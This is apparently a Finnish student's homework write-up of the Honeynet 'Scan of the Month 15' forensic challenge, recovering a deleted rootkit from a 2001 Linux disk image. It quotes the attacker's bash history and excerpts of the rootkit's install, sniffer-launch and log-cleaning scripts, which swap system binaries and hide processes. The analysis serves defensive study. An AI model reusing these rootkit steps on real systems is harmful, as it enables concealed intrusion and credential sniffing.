Pääsin aloittamaan tehtävän keskiviikkona 18.9.2013 klo 15.00. Olen ollut kuumeessa jo useamman päivän, enkä pystynyt aloittamaan tehtävää aikaisemmin. Lisäksi olen ensimmäisen vuoden opiskelija, joten minulla ei ole vielä ollut ohjelmoinnin tai tietokantojen opetusta.
The Challenge:
On 15 March. 2001, a Linux honeypot was successfully compromised, a rootkit was downloaded to the / partition and then deleted from the system. Your mission is to find and recover the deleted rootkit. If you are not sure where to begin on conducting this forensic analysis and recover the rootkit, we highly reccommend you start with the Forensic Challenge. The steps you will have to follow for the rootkit recovery are similar to the steps discussed there. We have posted only the / partion for download to keep this challenge simple. The compressed image is 13MB, (honeynet.tar.gz) MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and unzipped the partition image, it will be 255 MB and the checksum should be MD5=5a8ebf5725b15e563c825be85f2f852e.
- Show step by step how you identify and recover the deleted rootkit from the / partition.
- What files make up the deleted rootkit?
Tiedoston haku ja purku.
Aloitin tehtävän lataamalla tiedoston honeynet.tar.gz (Linkki). Tallensin tiedoston home kansion juureen ja purin komennolla tar zxvf honeypot.tar.gz.
Tiedoston purkamisen jälkeen home kansiooni ilmestyi honeynet niminen kansio jonka sisällä oli tiedostot honeypot.hda8.dd ja README.
Seuraavaksi loin kansion hda8 ja mounttasin levykuvan honeypot.hda8.dd kyseiseen kansioon.
sudo mount -o ”loop,nodev,noexec,ro” honeypot.hda8.dd hda8/. Siirryin kansioon hda8/ cd hda8 ja aloin tarkastelemaan tiedostoja kirjoittamalla ls -la. Siirryin kansioon tmp cd tmp/ ja kirjoitin ls -la.
Kone listasi tiedostot.
total 9
drwxrwxrwt 3 root root 1024 maali 16 2001 .
drwxr-xr-x 18 root root 1024 maali 16 2001 ..
drwxrwxrwt 2 43 utmp 1024 maali 15 2001 .font-unix
-rw-r–r– 1 root root 5682 maali 15 2001 install.log
Katsoin myös tiedoston install.log sisälle (koska tiedostoa oli muokattu 15.3.2001) nano install.log, Selasin tiedoston läpi huomaamatta poikkeavaa. Suljin tiedoston ja kokeilin mennä kansioon /root. Mutta en päässytkään kansion sisälle. Komennolla cd root/ sain vastaukseksi
-bash: cd: root/: Permission denied
Kokeilin komennolla sudo cd root/ ja sudo cd /home/denzah/honeynet/hda8/root. Mutta sain molemmilla komennoilla vastaukseksi sudo: cd: command not found.
Pääsin ongelman ohi kirjoittamalla sudo -s, jonka jälkeen cd root/ komennolla oli oikeudet kansioon. Tarkisin kansion sisällön ls -la. Ensimmäinen tiedosto .bash_history sisältö näytti tältä
exec tcsh
ls
mkdir /var/…
ls
cd /var/…
ftp ftp.home.ro
tar -zxvf emech-2.8.tar.gz
cd emech-2.8
./configure
y
make
make
make install
mv sample.set mech.set
pico mech.set
./mech
cd /etc
pico ftpaccess
ls
exit
Näyttää siltä että on luotu kansio /var/…, ladattu tiedosto emech-2.8.tar.gz (Linkki) ftp :ltä osoitteesta ftp.home.ro ja purettu tiedosto kansioon. Tämän jälkeen on käännetty tiedosto ja laitettu ajoon mech niminen ohjelma. Satuin vielä löytämään kyseisen tiedoston netistä, latasin sen koneelle ja purin. mech on irc botti README tiedoston perusteella. Veikkaan hyökkääjän käyttäneen irc bottia tiedostojen siirtämiseen ircn välityksellä (arvaus).
ftpaccess tiedostoa on käyty muokkaamassa, mutta tiedosto näyttää olevan tyhjä /etc/ftpaccess.
Suljin tiedoston ja avasin tiedoston .bash_logout nano .bash_logout
# ~/.bash_logout
clear
Sisällä näkyy ainoastaan komento clear
Kirjoitin exit, jotta en ajaisi kaikkia komentoja edelleen sudolla, käytettyäni sudo -s komentoa aikaisemmin.
Siirryin kansioon sbin/ ja katsoin tiedoston dump sisälle. Suurin osa tekstitä oli hepreaa, löytyi kuitenkin muutama rivi joista en osaa sano onko niissä jotain epäilyttävää.
^@^@^@^@^@^@^@^@$Id: unctime.c,v 1.7 2000/01/21 10:17:41 stelian Exp $^@^@^@^@^@^@^@^@^@^@$Id: dumprmt.c,v 1.11 2000/01/21 10:17:41 stelian Exp $^@^@^@^@^@^@^@^@^@Lost connection $
^@^@
^@on %s: %s%s^@RSH^@tcp^@kshell^@shell^@%s/tcp: unknown service^@who are you?^@RMT^@/etc/rmt^@-l^@cannot open connection
^@login to %s as %s failed.
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@IP_TOS:IPTOS_THROUGHPUT setsockopt^@TCP_NODELAY setsockopt^@^@^@^@^@^@^@Connection to %s established.
^@invalid user name %s
Tutkin useampia tiedostoja jotka sisälsivät samanlaista hepreaa ja päätin siirtyä tutkimaan kansiota /etc.
Menin suoraan kansioon /etc/rc.d ja katosoin tiedostoa rc.sysinit nano rc.sysinit.
En huomannut tiedostossa muuta outoa kuin lisätty rivi lopussa.
/usr/bin/lsattr -t1 -X53 -p
Suljin tiedoston ja jatkoin kansion /etc tiedostojen tutkimista (tutkin ainoastaan tiedostoja joita oli muokattu 14 – 16.3.2001.
nano aliases.db
nano conf.linuxconf
nano conf.modules
nano fstab
nano ftp
nano ftpaccess
nano group
nano group-
nano gshadow
nano gshadow
nano gshadow-
nano HOSTNAME
nano host
nano hosts
nano inetd.conf
nano info-dir
nano init
nano inittab
nano ioctl.save
nano issue
nano issue.net
nano ld.so.c
nano ld.so.cache
nano ld.so.conf
nano localtime
nano lilo.conf
nano mime.types
nano mtab
nano nsswitch.conf
nano passwd
Tähän mennessä en huomannut mitään epäilyttävää, ennen kuin tulin tiedoston passwd- kohdalle, jostain syystä viimeinen rivi pistää silmään. Sama käyttäjä löytyy kyllä tiedostosta passwd, siinä se ei vain pistänyt niin silmään. En tiedä syytä, mutta ehkä se selviää myöhemmin.
nano passwd-
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
named:x:25:25:Named:/var/named:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
jjs:x:500:500:John J. Smith:/home/jjs:/bin/bash
passwd.OLD
Muuten sama, muta daemon ja adm ovat toisinpäin, sekä
jjs:x:500:500::/home/jjs:/bin/bash
Katsoin vielä läpi tiedostot.
nano .pwd.lock
nano resolv.conf
nano services
nano shells
nano syslog.conf
nano yp.conf
En osannut paikantaa mitään poikkeavaa.
/dev/last tiedoston sisältö, ajattelin tällä olevan merkitystä.
1 193.231.139
1 213.154.137
1 193.254.34
3 48744
3 3666
3 31221
3 22546
4 48744
4 2222
/dev/rpm sisältö, ajattelin myös tällä olevan jotain merkitystä.
3 sl2
3 sshdu
3 linsniffer
3 smurf
3 slice
3 mech
3 muh
3 bnc
3 psybnc
Tutkittuani lähes kaikki 14 – 16.3.2001 päivän tiedostot, päätin kokeilla palauttaa poistettuja tiedostoja.
—-> Jatkuu
Tiedostojen palautus.
Seuraavaksi latasin koneelle ohjelman nimeltä tsk_recover komennolla sudo apt-get install tsk_recover. Loin honeynet kansioon kansion recovered mkdir recovered ja sen sisälle kansiot allocated ja deleted mkdir allocated deleted. Tämän jälkeen käytin tsk_recover ohjelmaa tiedostojen palauttamiseen. Kirjoitin kansiossa /home/honeypot/ komennon tsk_recover -a honeypot.hda8.dd recovered/allocated/. Ohjelma tulosti seuraavanlaisen rivin
Files Recovered: 1614
Tämän jälkeen palautin poistetut tiedostot komennolla tsk_recover honeypot.hda8.dd recovered/deleted. Ohjelma tulostaa rivin
Files Recovered: 37
Siirryin ensiksi tutkimaan deleted kansion sisältöä. Ensimmäinen tiedosto jota katsoin oli lk.tgz.
Purin paketin ja sen sisältä löytyivät nämä tiedostot
last/
last/ssh
last/pidfile
last/install
last/linsniffer
last/cleaner
last/inetd.conf
last/lsattr
last/services
last/sense
last/ssh_config
last/ssh_host_key
last/ssh_host_key.pub
last/ssh_random_seed
last/sshd_config
last/sl2
last/last.cgi
last/ps
last/netstat
last/ifconfig
last/top
last/logclear
last/s
last/mkxfs
Tiedoston install sisältä löytyi selviä viittauksia rootkittiin
#!/bin/sh
clear
unset HISTFILE
echo ”********* Instalarea Rootkitului A Pornit La Drum *********”
echo ”********* Mircea SUGI PULA ********************************”
echo ”********* Multumiri La Toti Care M-Au Ajutat **************”
echo ”********* Lemme Give You A Tip : **************************”
echo ”********* Ignore everything, call your freedom ************”
echo ”********* Scream & swear as much as you can ***************”
echo ”********* Cuz anyway nobody will hear you and no one will *”
echo ”********* Care about you **********************************”
echo
echo
chown root.root *
Ohjelma on myös poistanut ja korvannut useita tiedostoja.
rm -rf /sbin/ifconfig
mv ifconfig /sbin/ifconfig
rm -rf /bin/netstat
mv netstat /bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf /usr/bin/top
mv top /usr/bin/top
cp -f mkxfs /usr/sbin/
cp -f inetd.conf /etc
cp -f services /etc
>/dev/rpm
echo ”3 sl2” >>/dev/rpm
echo ”3 sshdu” >>/dev/rpm
echo ”3 linsniffer” >>/dev/rpm
echo ”3 smurf” >>/dev/rpm
echo ”3 slice” >>/dev/rpm
echo ”3 mech” >>/dev/rpm
echo ”3 muh” >>/dev/rpm
echo ”3 bnc” >>/dev/rpm
echo ”3 psybnc” >> /dev/rpm
touch /dev/last
>/dev/last
echo ”1 193.231.139” >>/dev/last
echo ”1 213.154.137” >>/dev/last
echo ”1 193.254.34” >>/dev/last
echo ”3 48744” >>/dev/last
echo ”3 3666” >>/dev/last
echo ”3 31221” >>/dev/last
echo ”3 22546” >>/dev/last
echo ”4 48744” >>/dev/last
echo ”4 2222” >>/dev/last
Linsniffer tiedoston avattuani näin taas hepreaa. Mutta avattuani sense tiedoston, pystyin päättelemään linsnifferin kalastelevan tietoa järjestelmästä.
Siirryin seuraavaan ja avasin cleaner tiedoston. Cleaner puhdistaa logeja ja ilmoittaa sen myös selvästi.
echo ”${BLK}* ${DWHI}Cleaning logs.. This may take a bit depending on the size of the logs.${RES}”
Lsattr sisältö
#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /
Logclear tiedoston sisältö
killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &
1. Show step by step how you identify and recover the deleted rootkit from the / partition.
Yläpuolelta näkyy, että useita tiedostoja järjestelmässä on korvattu jotain ssh tiedostoja myöten.
Rootkit löytyi poistetuista tiedostoista nimellä lk.tgz
2. What files make up the deleted rootkit?
/sbin/ifconfig
/bin/netstat
/bin/ps
/usr/bin/top
/usr/mkxfs
/dev/rpm
/dev/last
/etc/inetd.conf
/etc/services
/usr/bin/lsattr
ja computer tiedosto johon ohjelma kerää koneen tietoja ja lähettää sähköpostilla rootkitin tekijälle.
echo ”* Am trimis mailul … stergem fisierele care nu mai trebuie .”
echo
echo
echo ”* G A T A *”
echo
echo ”* That Was Nice Last ”
cd /
rm -rf last lk.tgz computer lk.tar.gz
Bonus Question:
Was the rootkit ever actually installed on the system? How do you know?
Luettuani mikä on rootkit lähteen osoitteesta http://en.wikipedia.org/wiki/Rootkit
Voin varmuudella todeta, että tässä on kyseessä rootkit.
Lähteet
http://old.honeynet.org/scans/scan15/
http://en.wikipedia.org/wiki/Rootkit
http://terokarvinen.com/2013/forensic-file-recovery-with-linux
Linux palvelimena ict4tn003-10
6 vastausta artikkeliin “Linux palvelimena ict4tn003-10 syksyllä 2013 – Kotitehtävä h3: Ratkaise Scan of the Month 15. Käsittele haitallisia ohjelmia turvallisesti.”